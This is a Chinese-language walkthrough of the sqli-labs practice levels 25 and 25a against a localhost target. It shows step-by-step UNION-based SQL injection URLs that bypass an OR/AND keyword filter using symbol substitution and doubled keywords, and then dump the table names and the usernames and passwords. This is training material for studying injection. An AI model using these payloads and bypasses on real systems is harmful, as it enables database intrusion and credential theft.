sqli-labs (less-25 and less-25a)
less-25
进入25关,我们看到屏幕上的信息
这个意思就是你的’OR’和’AND’都属于与我们,我们猜想这关就是过滤了’OR’和’AND’,查看源代码可知确实是这样
这都是小问题,这里我们可以使用符号替换’OR’和’AND’
替换:如and可替换为&&,or可替换为||
http://127.0.0.1/sql1/Less-25/?id=1'
根据错误显示判断闭合类型为’–+,并且为字符型注入
判断回显位置
http://127.0.0.1/sql1/Less-25/?id=-1' union select 1,2,3--+
查看当前库
http://127.0.0.1/sql1/Less-25/?id=-1' union select 1,2,database()--+
查看security库下的所有表
http://127.0.0.1/sql1/Less-25/?id=-1' union select 1,2,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security')--+
这里有一个问题,information_schema.tables里面也是有or的,这里我们使用双写绕过
查看users表下的所有字段
http://127.0.0.1/sql1/Less-25/?id=-1' union select 1,2,(select group_concat(column_name) from infoorrmation_schema.columns where table_name='users')--+
查看username,password字段的值,password里面也含有or,也采取双写绕过
http://127.0.0.1/sql1/Less-25/?id=-1' union select 1,2,(select group_concat(username,passwoorrd) from security.users)--+
less-25a
我们输入’,"都报错,我们判断为数字型注入
http://127.0.0.1/sql1/Less-25a/?id=1--+
下面的过程与less-25一模一样,这里就不意义介绍了,只要注意information_schema库和password字段里面都有or字段,记得双写绕过就可了